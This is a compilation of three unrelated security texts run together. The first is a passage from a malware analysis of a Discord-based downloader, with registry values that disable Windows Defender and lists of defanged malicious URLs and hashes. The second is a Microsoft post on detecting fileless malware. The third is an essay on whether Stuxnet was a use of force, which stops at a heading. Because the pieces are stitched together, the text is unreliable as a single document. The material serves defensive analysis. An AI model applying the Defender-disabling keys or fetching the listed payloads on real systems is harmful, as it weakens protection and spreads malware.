- Windows Defender AV - `HKLM\SOFTWARE\Policies\Microsoft\WindowsDefender\DisableAntiSpyware`
- Automatic Remediation - `HKLM\SOFTWARE\Policies\Microsoft\WindowsDefender\DisableRoutinelyTakingAction`
- Behavior Monitoring - `HKLM\SOFTWARE\Policies\Microsoft\WindowsDefender\Real-TimeProtection\DisableBehaviorMonitoring`
- Active Monitoring - `HKLM\SOFTWARE\Policies\Microsoft\WindowsDefender\Real-TimeProtection\DisableOnAccessProtection`
- Process Scanning - `HKLM\SOFTWARE\Policies\Microsoft\WindowsDefender\Real-TimeProtection\DisableScanOnRealtimeEnable`
- Real Time Protection - `HKLM\SOFTWARE\Policies\Microsoft\WindowsDefender\Real-TimeProtection\DisableRealtimeMonitoring`
- Downloaded Files and Attachments Scan - `HKLM\SOFTWARE\Policies\Microsoft\WindowsDefender\Real-TimeProtection\DisableIOAVProtection`
- Raw Volume Write Notifications - `HKLM\SOFTWARE\Policies\Microsoft\WindowsDefender\Real-TimeProtection\DisableRawWriteNotification`
The malicious DLL will then access the C&C server to fetch an encrypted list of URLs. After decryption, it becomes clear that each URL stores a different malware that will be downloaded and executed later. The malware’s authors have implemented a multithreaded downloading algorithm in order to speed up the infection process.
After investigating the multiple files dropped by this malware, most turned out to be benign or open-source malware, such as Redline Stealer. However, each download will still drop a uniquely generated sample. When analyzing this sample, we could not help but notice that this malware is written by an amateur, evident by the following:
- The download of a significant number of malware to PC will most likely lead to a system crash that will not serve the supposed purpose of the threat actor.
- A download of the different variants of the same malware (four variants of RedLine, two variants of BlackNet RAT) seems redundant.
- Dropping an encrypted DLL file with a DLL extension opens up a detection opportunity.
- No significant evasion techniques were implemented in the malware.
Even though this malware lacks sophistication, we cannot honestly know what threat actors will plan in future attacks. Services such as Discord allow hackers to execute an array of malware types during the second stage of the attack (i.e., when a BMP file is downloaded from Discord). Such malware exploits the vulnerabilities of the world’s generally reactive approach to cyber-security.
As seen in the image below, Minerva’s pre-emptive approach stops the attack before the malicious payload is downloaded from Discord. Our unique patented technology stops the attack at the initial stage, which is critical for preventing any further damage down the line.
## IOCs:
### Domains:
- `https://cdn.discordapp[.]com/attachments/873056123240972371/875681686568992788/E_PL_Client.bmp`
- `http://93.95.98[.]5/base/api/getData.php`
- `http://37.0.10[.]214/EXT/minepass_settings.png`
- `http://37.0.10[.]214/WW/file1.exe`
- `http://37.0.10[.]214/WW/file5.exe`
- `http://37.0.10[.]214/WW/file4.exe`
- `http://37.0.10[.]214/WW/file8.exe`
- `http://37.0.10[.]214/WW/file7.exe`
- `http://37.0.10[.]214/WW/file2.exe`
- `http://37.0.10[.]214/WW/file3.exe`
- `https://fsstoragecloudservice[.]com/campaign1/autosubplayer.exe`
- `https://cdn.discordapp[.]com/attachments/879422002287493133/879653243217670164/app24.bmp`
- `https://cdn.discordapp[.]com/attachments/879422002287493133/879423887002206228/Passat.bmp`
- `https://cdn.discordapp[.]com/attachments/879422002287493133/879423620030550088/Real231.bmp`
- `https://a.goatagame[.]com/userf/2201/snakehi.exe`
- `http://37.0.10[.]214/WW/fileT.exe`
- `http://37.0.10[.]214/WW/PB14s.exe`
- `http://hockeybruinsteamshop[.]com/pub1.exe`
- `https://cdn.discordapp[.]com/attachments/879433223103459409/879433370159968306/Setup2.exe`
- `https://cdn.discordapp[.]com/attachments/879422002287493133/879653242093600808/sfx_123_201.bmp`
- `https://cdn.discordapp[.]com/attachments/879422002287493133/879685414934417479/R24.bmp`
- `https://cdn.discordapp[.]com/attachments/879422002287493133/879653239560228884/help24.bmp`
- `https://cdn.discordapp[.]com/attachments/879422002287493133/879653236993318933/Falioca24.bmp`
- `https://cdn.discordapp[.]com/attachments/870454586861846551/870548989903274054/jooyu.exe`
- `https://2no[.]co/2GSVH6`
- `http://privacytoolz123foryou[.]xyz/downloads/toolspab2.exe`
- `https://cdn.discordapp[.]com/attachments/879422002287493133/879423245999276102/VerminateMechanize_2021-08-18_15-57.bmp`
- `https://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws[.]com/offer/GameBox.exe`
### Hashes:
- `d05cb3a734aaa9d090be20fbaeddf8069a829fa78c44dd8378a2350c1510e1fc` (VipSpace.exe)
- `DDE32911345A4C9D54355C6D57A72C5177D2A46CB0C507121E3709CADFCC9B44` (minepass_settings.png)
- `B483FE7D29CE8EEDCB3E1EC061E0F45BC44D0B48E4F21EAAF67A063388314FF7` (file1.exe)
- `8B57CD06470E93ABF9EA61E86839A3F7EB3B13FBB37C5FEC34888652A65185C3` (file5.exe)
- `F4EC629473FBE96FA82FE1C1E30E6784144163D662E1C977ACF5BC1D62B20C0B` (file4.exe)
- `E1CBEBC0C9A675CA172E7DE1908991F7B0BD0866C1BEA9404AE10BC201DE0FE6` (file7.exe)
- `CB54B6471597A9417BCC042D0F0D6404518B647BD3757035A01E9DE6AA109490` (file2.exe)
- `9460FFE580332FE64BB4F35BB63DC6A4302F3613718A04DC0986CEA989160039` (file3.exe)
- `EEC05DC9ADE2A7EE74EA5FB115BDD687B457D1F81841238A61E9775D6CC4BFA6` (fileT.exe)
- `B9025AEF29F9F9D3126D390E66DF8C55A9C9F7C15520F9A59A963932EE86B815` (PB14s.exe)
- `57381B4DE751F07C4537E2BECBB0F5C93A23897AA1BF1F0274E05F3FF4FD62F5` (toolspab2.exe)
- `DBD9CFA3D9B4E482EE79E7726E95168A5E27BB0482A0E4744A1E1C56D75F1C32` (ebook.exe)
- `6D4B28002FC36B27DFDCA0FBD886C73704950EE88B14B805512A938F423D7E1C` (autosubplayer.exe)
- `98C781B3FD15D6C7C7624AA1A0C93910DD5D19722A1D9B8CB1C7B9673D311090` (app24.bmp)
- `DAB2A18DF66F2E74D0831A8B118DE6B9DF2642AC939CBAD0552E30696D644193` (Passat.bmp)
- `3593247C384586966E5A0E28EB4C4174B31E93C78C7A9E8FEF96EC42A152E509` (Real231.bmp)
- `CA46080E121408D9624322E505DC2178BA99E15871C90E101B54E42EA7B54A96` (snakehi.exe)
- `57FB96B12DB08B18906CE22C7E55B81A214EDE326166E772AE87412281044497` (pub1.exe)
- `01550EE84AC5A220197177182FD2F3F9C9E845B416D06A384384E3CD62ECB569` (Setup2.exe)
- `4B95FF6312411ED2EEC0DC2FDB251D985B6E9892E1B2F61AADB94DEA1B3EEB13` (sfx_123_201.bmp)
- `1583FCEEAE47160FD37427A55F1D2122F3654E528E29C55D64DF145122515A55` (R24.bmp)
- `15AD913C094CD58FFFA2067D86B75CF08FBCAC95C16C2D68BAB5B3498F059E31` (help24.bmp)
- `963989F4B4D6E2D7C2281992AE5D62966726E81B5070B792399C7FD2017CA5CA` (Falioca24.bmp)
- `8CFA7E9BC6CBD458CEC18A25E6F763A3776802490E6B3D451D864C4DBA50C437` (VerminateMechanize_2021-08-18_15-57.bmp)
- `857DD46102AEA53F0CB7934B96410EBBC3E7988D38DCAFDC8C0988F436533B98` (GameBox.exe) |
# Out of sight but not invisible: Defeating fileless malware with behavior monitoring, AMSI, and next-gen AV
Consider this scenario: Two never-before-seen, heavily obfuscated scripts manage to slip past file-based detection and dynamically load an info-stealing payload into memory. The scripts are part of a social engineering campaign that tricks potential victims into running the scripts, which use the file names `install_flash_player.js` and `BME040429CB0_1446_FAC_20130812.XML.PDF.js`, to distribute and run the payload.
In MITRE’s evaluation of EDR solutions, Windows Defender ATP demonstrated industry-leading optics and detection capabilities. The breadth of telemetry, the strength of threat intelligence, and the advanced, automatic detection through machine learning, heuristics, and behavior monitoring delivered comprehensive coverage of attacker techniques across the entire attack chain.
The payload is sophisticated and particularly elusive, given that it:
- Doesn’t touch the disk, and does not trigger antivirus file scanning
- Is loaded in the context of the legitimate process that executed the scripts (i.e., `wscript.exe`)
- Leaves no traces on the disk, such that forensic analysis finds limited evidence
These are markers of a fileless threat. Still, Windows Defender Advanced Threat Protection (Windows Defender ATP) antivirus capabilities detect the payload, stopping the attack in its tracks. How is this possible?
In this scenario, Antimalware Scan Interface (AMSI) facilitates detection. AMSI is an open interface that allows antivirus solutions to inspect script behavior by exposing script contents in a form that is both unencrypted and unobfuscated. AMSI is part of the range of dynamic next-gen features that enable antivirus capabilities in Windows Defender ATP to go beyond file scanning. These features, which also include behavior monitoring, memory scanning, and boot sector protection, catch a wide spectrum of threats, including new and unknown (like the two scripts described above), fileless threats (like the payload), and other sophisticated malware.
## Generically detecting fileless techniques
The two aforementioned obfuscated scripts are actual malware detected and blocked in the wild by antivirus capabilities in Windows Defender ATP. Removing the first layer of obfuscation reveals a code that, while still partially obfuscated, showed some functions related to a fileless malware technique called Sharpshooter. We found the two scripts, which were variants of the same malware, not long after the Sharpshooter technique was documented and published by MDSec in 2017.
The Sharpshooter technique allows an attacker to use a script to execute a .NET binary directly from memory without ever needing to reside on the disk. This technique provides a framework that can enable attackers to easily repackage the same binary payload within a script. As demonstrated by the example of the two scripts, files that use the Sharpshooter technique can then be used in social engineering attacks to lure users into running the script to deliver a fileless payload.
When the Sharpshooter technique became public, we knew it was only a matter of time before it would be used in attacks. To protect customers from such attacks, we implemented a detection algorithm based on runtime activity rather than on the static script. In other words, the detection is effective against the Sharpshooter technique itself, thus against new and unknown threats that implement the technique. This is how Windows Defender ATP blocked the two malicious scripts at first sight, preventing the fileless payload from being loaded.
The detection algorithm leverages AMSI support in scripting engines and targets a generic malicious behavior (a fingerprint of the malicious fileless technique). Script engines have the capability to log the APIs called by a script at runtime. This API logging is dynamic and is therefore not hindered by obfuscation: a script can hide its code, but it cannot hide its behavior. The log can then be scanned by antivirus solutions via AMSI when certain dangerous APIs (i.e., triggers) are invoked.
Using this AMSI-aided detection, Windows Defender ATP disrupted two distinct malware campaigns in June, as well as the steady hum of daily activities. Furthermore, generically detecting the Sharpshooter technique allowed us to discover a particularly sophisticated and interesting attack. Windows Defender ATP’s endpoint and detection response capabilities caught a VBScript file that used the Sharpshooter technique.
We analyzed the script and extracted the fileless payload, a very stealthy .NET executable. The malware payload downloads data from its command-and-control (C&C) server via the TXT records of DNS queries. In particular, it downloads the initialization vector and decryption key necessary to decode the core of the malware. The said core is also fileless because it’s executed directly in memory without being written on the disk. Thus, this attack leveraged two fileless stages.
Our investigation into the incident turned up enough indicators for us to conclude that this was likely a penetration testing exercise or a test involving running actual malware, and not a real targeted attack. Nonetheless, the use of fileless techniques and the covert network communication hidden in DNS queries make this malware similar in nature to sophisticated, real-world attacks. It also proved the effectiveness of the dynamic protection capabilities of Windows Defender ATP.
## Upward trend in fileless attacks and living off the land
Removing the need for files is the next progression of attacker techniques. Antivirus solutions have become very efficient in detecting malicious executables. Real-time protection gives visibility on each new file that lands on the disk. Furthermore, file activity leaves a trail of evidence that can be retrieved during forensic analysis. That’s why we are seeing an increase in attacks that use malware with fileless techniques.
At a high level, a fileless malware runs its main payload directly in memory without having to drop the executable file on the disk first. This differs from traditional malware, where the payload always requires some initial executable or DLL to carry out its tasks. A common example is the Kovter malware, which stores its executable payload entirely in registry keys. Going fileless allows the attackers to avoid having to rely on physical files and improve stealth and persistence.
For attackers, building fileless attacks poses some challenges; in primis: how do you execute code if you don’t have a file? Attackers found an answer in the way they infect other components to achieve execution within these components’ environment. Such components are usually standard, legitimate tools that are present by default on a machine and whose functionality can be abused to accomplish malicious operations.
This technique is usually referred to as “living off the land”, as malware only uses resources already available in the operating system. An example is the Trojan:Win32/Holiks.A malware abusing the `mshta.exe` tool. The malicious script resides only in the command line; it loads and executes further code from a registry key. The whole execution happens within the context of the `mshta.exe` process, which is a clean executable and tends to be trusted as a legitimate component of the operating system. Other similar tools, such as `cmstp.exe`, `regsvr32.exe`, `powershell.exe`, `odbcconf.exe`, and `rundll3.exe`, have been abused by attackers.
By living off the land, fileless malware can cover its tracks: no files are available to the antivirus for scanning and only legitimate processes are executed. Windows Defender ATP overcomes this challenge by monitoring the behavior of the system for anomalies or known patterns of malicious usage of legitimate tools. For example, Trojan:Win32/Powemet.A!attk is a generic behavior-based detection designed to prevent attacks that leverage the `regsvr32.exe` tool to run malicious scripts.
## What exactly is “fileless”?
The term “fileless” suggests that a threat that does not come in a file, such as a backdoor that lives only in the memory of a machine. However, there’s no generally accepted definition. The term is used broadly; it’s also used to describe malware families that do rely on files in order to operate. In the Sharpshooter example, while the payload itself is fileless, the entry point relies on scripts that need to be dropped on the target’s machine and executed. This, too, is considered a fileless attack.
Given that attacks involve several stages for functionalities like execution, persistence, information theft, lateral movement, communication with command-and-control, etc., some parts of the attack chain may be fileless, while others may involve the filesystem in some form or another.
To shed light on this loaded term, we grouped fileless threats into different categories. We can classify fileless threats by their entry point (i.e., execution/injection, exploit, hardware), then the form of entry point (e.g., file, script, etc.), and finally by the host of the infection (e.g., Flash, Java, documents).
From this classification, we can glean three big types of fileless threats based on how much fingerprint they may leave on infected machines:
- **Type I**: No file activity performed. A completely fileless malware can be considered one that never requires writing a file on the disk.
- **Type II**: No files written on disk, but some files are used indirectly. There are other ways that malware can achieve fileless presence on a machine without requiring significant engineering effort. Fileless malware of this type does not directly write files on the file system, but they can end up using files indirectly.
- **Type III**: Files required to achieve fileless persistence. Some malware can have some sort of fileless persistence but not without using files in order to operate.
Having described the broad categories, we can now dig into the details and provide a breakdown of the infection hosts. This comprehensive classification covers the panorama of what is usually referred to as fileless malware. It drives our efforts to research and develop new protection features that neutralize classes of attacks and ensure malware does not get the upper hand in the arms race.
## Defeating fileless malware with next-gen protection
File-based inspection is ineffective against fileless malware. Antivirus capabilities in Windows Defender ATP use defensive layers based on dynamic behavior and integrate with other Windows technologies to detect and terminate threat activity at runtime. Windows Defender ATP’s next-gen dynamic defenses have become of paramount importance in protecting customers from the increasingly sophisticated attacks that fileless malware exemplifies.
AMSI is an open framework that applications can use to request antivirus scans of any data. Windows leverages AMSI extensively in JavaScript, VBScript, and PowerShell. In addition, Office 365 client applications integrate with AMSI, enabling antivirus and other security solutions to scan macros and other scripts at runtime to check for malicious behavior. In the example above, we have shown how AMSI can be a powerful weapon to fight fileless malware.
Windows Defender ATP integrates with AMSI and consumes all AMSI signals for protection; these signals are especially effective against obfuscation. It has led to the disruption of malware campaigns like Nemucod. During a recent investigation, we stumbled upon some malicious scripts that were heavily obfuscated. We collected three samples that were evading static signatures and are a mixture of barely recognizable script code and binary junk data.
However, after manual de-obfuscation, it turned out that these samples decode and execute the same .js script payload, a known downloader. The payload does not have any obfuscation and is very easy to detect, but it never touches the disk and so could evade file-based detection. However, the scripting engine is capable of intercepting the attempt to execute the decoded payload and ensuring that the payload is passed to the installed antivirus via AMSI for inspection. Windows Defender ATP has visibility on the real payload as it’s decoded at runtime and can easily recognize known patterns and block the attack before it deals any damage.
Instead of writing a generic detection algorithm based on the obfuscation patterns in the samples, we trained an ML model on this behavior log and wrote heuristic detection to catch the decrypted scripts inspected via AMSI. The results proved effective, catching new and unknown variants, protecting almost two thousand machines in a span of two months. Traditional detection would not have been as effective.
## Behavior monitoring
Windows Defender ATP’s behavior monitoring engine provides an additional layer of antivirus protection against fileless malware. The behavior monitoring engine filters suspicious API calls. Detection algorithms can then match dynamic behaviors that use particular sequences of APIs with specific parameters and block processes that expose known malicious behaviors. Behavior monitoring is useful not only for fileless malware, but also for traditional malware where the same malicious code base gets continuously repacked, encrypted, or obfuscated.
Behavior monitoring proved effective against WannaCry, which was distributed through the DoublePulsar backdoor and can be categorized as a very dangerous Type I fileless malware. While several variants of the WannaCry binaries were released in attack waves, the behavior of the ransomware remained the same, allowing antivirus capabilities in Windows Defender ATP to block new versions of the ransomware.
Behavior monitoring is particularly useful against fileless attacks that live off the land. The PowerShell reverse TCP payload from Meterpreter is an example: it can be run completely on a command line and can provide a PowerShell session to a remote attacker. There’s no file to scan in this attack, but through behavior monitoring in its antivirus capabilities, Windows Defender ATP can detect the creation of the PowerShell process with the particular command line required. Behavior monitoring detects and blocks numerous attacks like this on a daily basis.
Beyond looking at events by process, behavior monitoring in Windows Defender ATP can also aggregate events across multiple processes, even if they are sparsely connected via techniques like code injection from one process to another (i.e., not just parent-child processes). Moreover, it can persist and orchestrate sharing of security signals across Windows Defender ATP components (e.g., endpoint detection and response) and trigger protection through other parts of the layered defenses.
Behavior monitoring across multiple processes is not only an effective protection against fileless malware; it’s also a tool to catch attack techniques in generic ways. Here is another example where multi-process behavior monitoring is in action, Pyordono.A is a detection based on multi-process events and is aimed at blocking scripting engines (JavaScript, VBScript, Office macros) that try to execute `cmd.exe` or `powershell.exe` with suspicious parameters. Windows Defender ATP telemetry shows this detection algorithm protecting users from several campaigns.
Recently, we saw a sudden increase in Pyordono.A encounters, reaching levels way above the average. We investigated this anomaly and uncovered a widespread campaign that used malicious Excel documents and targeted users in Italy from September 8 to 12. The document contains a malicious macro and uses social engineering to lure potential victims into running the malicious code.
The macro makes use of obfuscation to execute a cmd command, which is also obfuscated. The cmd command executes a PowerShell script that in turn downloads additional data and delivers the payload, infostealing Ursnif. We recently reported a small-scale Ursnif campaign that targeted small businesses in specific US cities. Through multi-process behavior monitoring, Windows Defender ATP detected and blocked the new campaign targeting users in Italy using a generic detection algorithm without prior knowledge of the malware.
## Memory scanning
Antivirus capabilities in Windows Defender ATP also employ memory scanning to detect the presence of malicious code in the memory of a running process. Even if malware can run without the use of a physical file, it does need to reside in memory in order to operate and is therefore detectable by means of memory scanning. An example is the GandCrab ransomware, which was reported to have become fileless. The payload DLL is encoded in a string, then decoded and run dynamically via PowerShell. The DLL itself is never dropped on the disk. Using memory scanning, Windows Defender ATP can scan the memory of running processes and detect known patterns of the ransomware run from the stealthy DLL.
Memory scanning, in conjunction with behavior monitoring and other dynamic defenses, helped Windows Defender ATP to disrupt a massive Dofoil campaign. Dofoil, a known nasty downloader, uses some sophisticated techniques to evade detection, including process hollowing, which allows the malware to execute in the context of a legitimate process (e.g., `explorer.exe`). To this day, memory scanning detects Dofoil activities.
Memory scanning is a versatile tool: when suspicious APIs or behavior monitoring events are observed at runtime, antivirus capabilities in Windows Defender ATP trigger a memory scan in key points it is more likely to observe (and detect) a payload that has been decoded and may be about to run. This gives Windows Defender ATP granular control on which actions are more interesting and may require more attention. Every day, memory scanning allows Windows Defender ATP to protect thousands of machines against active high-profile threats like Mimikatz and WannaCry.
## Boot Sector protection
With Controlled folder access on Windows 10, Windows Defender ATP does not allow write operations to the boot sector, thus closing a dangerous fileless attack vector used by Petya, BadRabbit, and bootkits in general. Boot infection techniques can be suitable for fileless threats because they can allow malware to reside outside of the file system and gain control of the machine before the operating system is loaded. The use of rootkit techniques, like in the defunct Alureon malware (also known as TDSS or TDL-4), can then render the malware invisible and extremely difficult to detect and remove. With Controlled folder access, which is part of Windows Defender ATP’s attack surface reduction capabilities, this entire class of infection technique has become a thing of the past.
## Windows 10 in S mode: Naturally resistant to fileless attacks
Windows 10 in S mode comes with a preconfigured set of restrictions and policies that make it naturally protected against a vast majority of the fileless techniques (and against malware in general). Among the available security features, the following ones are particularly effective against fileless threats:
- For executables: Only Microsoft-verified applications from the Microsoft Store are allowed to run. Furthermore, Device Guard provides User Mode Code Integrity (UMCI) to prevent the loading of unsigned binaries.
- For scripts: Scripting engines are not allowed to run (including JavaScript, VBScript, and PowerShell).
- For macros: Office 365 does not allow the execution of macros in documents from the internet (for example, documents that are downloaded or received as attachment in emails from outside the organization).
- For exploits: Exploit protection and Attack surface reduction rules are also available on Windows 10 in S mode as a consistent barrier against exploitation.
With these restrictions in place, Windows 10 in S mode devices are in a robust, locked down state, removing crucial attack vectors used by fileless malware.
## Conclusion
As antivirus solutions become better and better at pinpointing malicious files, the natural evolution of malware is to shift to attack chains that use as few files as possible. While fileless techniques used to be employed almost exclusively in sophisticated cyberattacks, they are now becoming widespread in common malware, too.
At Microsoft, we actively monitor the security landscape to identify new threat trends and develop solutions that continuously enhance Windows security and mitigate classes of threats. We instrument durable generic detections that are effective against a wide range of threats. Through AMSI, behavior monitoring, memory scanning, and boot sector protection, we can inspect threats even with heavy obfuscation. Machine learning technologies in the cloud allow us to scale these protections against new and emerging threats.
Security solutions on Windows 10 integrate into a unified endpoint security platform in Windows Defender Advanced Threat Protection. Windows Defender ATP includes attack surface reduction, next-generation protection, endpoint protection and response, auto investigation and remediation, security posture, and advanced hunting capabilities. |
# Members of International Telecommunications Union and UN Institute for Training and Research Confer on Cyber Security
## Stuxnet, Schmitt Analysis, and the Cyber “Use-of-Force” Debate
By Andrew C. Foltz
All Members shall refrain from the threat or use of force against the territorial integrity or political independence of any state, or in any other manner inconsistent with the Purposes of the United Nations. —Article 2(4), Charter of the United Nations
As discussed in this article, several analytic frameworks have been developed to help assess when cyber operations constitute a use of force. One conclusion these frameworks share is that cyber operations resulting in physical damage or injury will almost always be regarded as a use of force. When these frameworks were developed, however, there were few, if any, examples of peacetime, state-sponsored cyber coercion. More importantly, the prospect of cyber attacks causing physical damage was largely theoretical.
Beginning in 2007, however, a string of cyber operations—including the 2007 Distributed Denial of Service (DDoS) attack on Estonia, the 2008 DDoS attack on Georgia, and the 2008 discovery that the U.S. Government’s most sensitive networks had been compromised—hinted at increased use of the cyber domain by states and their proxies for peacetime coercion. Then, with the discovery of the Stuxnet worm in 2010, which damaged uranium enrichment equipment at a nuclear facility in Iran, theory became reality.
Although Stuxnet has been described as a watershed event, there has been little academic discussion on whether it constituted a use of force. Perhaps this is because it caused physical damage and, therefore, clearly constitutes a use of force under prevailing analytic frameworks. This appears to be the emerging consensus. Although I generally agree with this conclusion, I also believe that by looking beyond the physical damage, Stuxnet provides a unique opportunity to assess the adequacy and continued relevance of these frameworks.
As a first step toward such an assessment, this article tests one of the more robust frameworks, known as the Schmitt Analysis, by applying it to Stuxnet. Developed in 1999 by Professor Michael Schmitt, it is one of the most academically rigorous and frequently cited frameworks for characterizing cyber operations. The Schmitt Analysis consists of seven factors that states are likely to consider when characterizing cyber activities: severity, immediacy, directness, invasiveness, measurability, presumptive legitimacy, and responsibility. A key feature of the framework is that it remains faithful to Article 2(4) of the UN Charter while at the same time effectively bridging key elements of competing analytic frameworks that do not exhibit such fidelity to the Charter.
By focusing this evaluation on Schmitt’s model, I expect the results will have implications for the use-of-force debate more generally.
The article begins with a discussion of why, as a practical matter, discerning a peacetime use-of-force threshold in cyberspace is important. Next, I detail the Article 2(4) prohibition on the use of force and the law governing the use of force (jus ad bellum) and the Law of Armed Conflict (jus in bello) apply. In appropriate circumstances, this could trigger a state’s right to self-defense and thereby permit a forceful, perhaps even armed response. In contrast, non-state-sponsored cyber operations and operations not amounting to a use of force are traditionally governed by more constrained law enforcement regimes.
The need for clarity has taken on greater importance now that the United States and many of its allies treat cyberspace as a military operational domain. Accordingly, discerning a use-of-force threshold would seem to be necessary for a wide range of peacetime military activities, such as defining the spectrum of permissible peacetime cyber operations, such as computer network exploitation; developing peacetime cyber rules of engagement; identifying appropriate approval authorities; assigning appropriate agency responsibilities and resources; signaling adversaries and allies as part of a deterrence strategy; recognizing when treaty obligations have been triggered; and determining whether UN Security Council authorization is required to conduct certain operations.
## The Use of Force in Cyberspace
Notwithstanding the need for clarity discussed above, there is no internationally recognized consensus on what constitutes a use of force in cyberspace, nor does it appear a mechanical rule is likely to emerge any time soon. This section describes why ambiguity persists and the various solutions that have been proposed to resolve it. After summarizing the relevant law governing the use of force in international relations, I highlight the technical, legal, and political challenges of applying existing norms within cyberspace.
### Use of Force Under the UN Charter
Jus ad bellum describes the law governing the transition from peace to armed conflict. Though grounded in customary international law, the black letter principles of jus ad bellum are now contained in Article 2(4) of the UN Charter, which prohibits states from the “threat or use of force” in their international relations. Several features of this prohibition are problematic in the cyber context. First, Article 2(4) only pertains to international relations between sovereign states—it does not proscribe the conduct of nonstate actors, who appear to be the source of most malicious cyber activity. Also, as noted above, the Charter does not define the phrase use of force. Finally, Article 2(4) does not provide any exceptions to the prohibition on the unilateral use of force, nor does it prescribe remedies for unauthorized uses of force. Such exceptions and remedies are found in Chapter VII of the Charter which, unlike Article 2(4), is not limited to relations between states and employs thresholds quite distinct from the use-of-force standard.
Importantly, it is not the use of force, but rather an “armed attack” that triggers a state’s right to use force in self-defense. Although use of force is not defined, an approximate threshold has emerged through consideration of the Charter’s preparatory work, state practice, and opinio juris. First, the framers of the Charter took an instrument-based, rather than effects-based, approach to the use of force prohibition. While acknowledging that states are most concerned about the consequences of coercive activities (that is, the degree of injury, deprivation, or destruction), the framers recognized that a consequence-based criterion was too subjective to distinguish lawful from unlawful state coercion. Because the term force connotes violence, injury, and destruction—consequences that pose the greatest threat to international peace and security—they adopted the instrument-based use-of-force standard as prescriptive shorthand.
According to Professor Schmitt, such an approach “eases the evaluative process by simply asking whether force has been used, rather than requiring a far more difficult assessment of the consequences that have resulted.” According to this approach, the Article 2(4) prohibition does not extend to all forms of state coercion. For example, the instruments of economic and political coercion are not prohibited. Less clear, but generally accepted, is that the prohibition is not limited to “armed” force—it may also encompass unarmed, nonmilitary physical force, such as releasing water from a dam. The International Court of Justice highlighted this point in Nicaragua when it concluded that arming and training guerrillas amounted to a prohibited use of force, even though it did not rise to the level of an armed attack.
Accordingly, the use of force threshold has traditionally been viewed as lying somewhere between purely economic and political coercion on the one hand and activities that result in physical damage or injury on the other. As discussed below, discerning a clear use-of-force threshold in this gray area—a difficult task even in traditional kinetic context—has proven particularly difficult in the cyber context.
### Use of Force in Cyberspace
The difficulty of applying Article 2(4) in cyberspace is that the instrument-based paradigm does not cleanly translate to cyber operations, particularly for gray area operations that do not result in physical harm. A second approach relies upon kinetic equivalency, arguing that cyber operations constitute a use of force only if the damage they cause could previously have been achieved only by a kinetic attack. This framework generally adheres to the Charter’s instrument-based approach, but it struggles to characterize hostile gray area cyber operations—such as projecting false targets on an adversary’s early warning radars—that do not result in physical damage.
A third approach applies a “strict liability” test for any cyber operations that target a state’s critical infrastructure and vital interests because of the severe consequences that could result from such attacks. According to this model, the mere penetration of such systems—such as power production, stock exchanges, and air traffic control—can constitute evidence of hostile intent and thereby trigger the right of self-defense. This framework suffers from the inherent subjectivity of defining what constitutes “critical infrastructure and vital interests,” and because it expands the gray area to encompass activities such as computer network exploitation that are not currently prohibited by international law.
Professor Schmitt’s framework represents the fourth major model.
### Schmitt Analysis
Professor Schmitt recognized that discerning the use-of-force threshold is really about predicting how states will characterize and respond to cyber incidents in light of prevailing international norms. The Charter took an instrument-based, rather than consequence-based, approach to the use of force prohibition. While acknowledging that certain activities are legitimate outside of the cyber context, they remain so in the cyber domain, for example, espionage, psychological operations, and propaganda.
- **Severity**: Cyber operations that threaten physical harm more closely approximate an armed attack. Relevant factors in the analysis include scope, duration, and intensity.
- **Immediacy**: Consequences that manifest quickly without time to mitigate harmful effects or seek peaceful accommodation are more likely to be viewed as a use of force.
- **Directness**: The more direct the causal connection between the cyber operation and the consequences, the more likely states will deem it to be a use of force.
- **Invasiveness**: The more a cyber operation impairs the territorial integrity or sovereignty of a state, the more likely it will be viewed as a use of force.
- **Measurability**: States are more likely to view a cyber operation as a use of force if the consequences are easily identifiable and objectively quantifiable.
- **Presumptive legitimacy**: To the extent certain activities are legitimate outside of the cyber context, they remain so in the cyber domain.
- **Responsibility**: The closer the nexus between the cyber operation and a state, the more likely it will be characterized as a use of force.
According to Professor Schmitt, evaluating these factors is an imprecise and subjective endeavor. The factors are useful but not determinative, and they should not be applied mechanically. Rather, they need to be applied holistically according to the relevant context—that is, which factors are important and how they should be weighted will vary on a case-by-case basis. Moreover, he never intended the factors to be exhaustive, though they are often treated as such.
Finally, the framework is more useful for post hoc forensic analysis of particular cyber attacks than for characterizing real-time operations.
### Characterizing Stuxnet
Stuxnet has been described as a game changer—the first digital “fire and forget” precision-guided munition and perhaps the first peacetime act of cyber war. According to reports, the Stuxnet worm was designed to avoid collateral damage. If the malware did not detect the specific software-hardware configuration associated with Iran’s enrichment program, the program would lie dormant. It was also designed to delete itself from thumb drives after infecting three machines, and it contained a built-in self-destruct feature.
Thus, even though the worm is reported to have infected more than 100,000 hosts in 155 countries, 60 percent of the infections were localized to Iran, and there are no reports of physical damage outside of Iran. Although no one has claimed responsibility for Stuxnet, it has the signature of a state operation. Most speculation and some anecdotal evidence point to Israel, with possible support from the United States and/or Germany.
Although some have described Stuxnet’s code as a relatively unsophisticated “Frankenstein patchwork of existing tradecraft, code and best practices drawn from the global cyber-crime community,” its true sophistication lies in the synergy of its components and its method of infection. First, Stuxnet’s designers required incredibly precise intelligence about Iran’s PLCs and frequency converters, as well as the performance parameters of its centrifuges. Second, the malware was self-replicating and designed to infect systems that were not connected to the Internet (“air-gapped”), thereby requiring the use of intermediary devices such as thumb drives. Stuxnet also employed four “zero-day” exploits and two stolen digital signatures to gain access to targeted systems. Finally, Stuxnet appears to have been designed to avoid collateral damage.
#### Severity
According to this criterion, Stuxnet is per se a use of force because it caused physical damage. Moreover, the damage was inflicted upon a critical Iranian interest—its nuclear program. By setting Iran’s nuclear program back several years, the duration of Stuxnet’s consequences also suggests a use of force.
#### Immediacy
According to this factor, Stuxnet would probably not be viewed as a use of force. The attack, which consisted of at least three waves over 10 months, took time to evolve. More importantly, once a targeted system was infected, it appears the damage took weeks or even months to manifest. Given the nature of how the attack unfolded, there was and remains adequate opportunity for Iran to mitigate the harmful effects and to seek peaceful accommodation.
#### Directness
There appears to be a direct causal connection between Stuxnet and the damaged centrifuges.
#### Invasiveness
Stuxnet represents a significant intrusion on Iranian sovereignty. Not only does it appear to have crossed international borders, but it targeted sensitive and highly secure systems that were air-gapped from the Internet. That said, Stuxnet would have been just as invasive if it had simply collected intelligence on the inner workings of the Natanz facility—a non-activity the international community would likely not regard as a use of force.
#### Measurability
Taking into account the already high failure rate of Iran’s centrifuges, the consequences attributed to Stuxnet appear both quantifiable and identifiable.
#### Presumptive Legitimacy
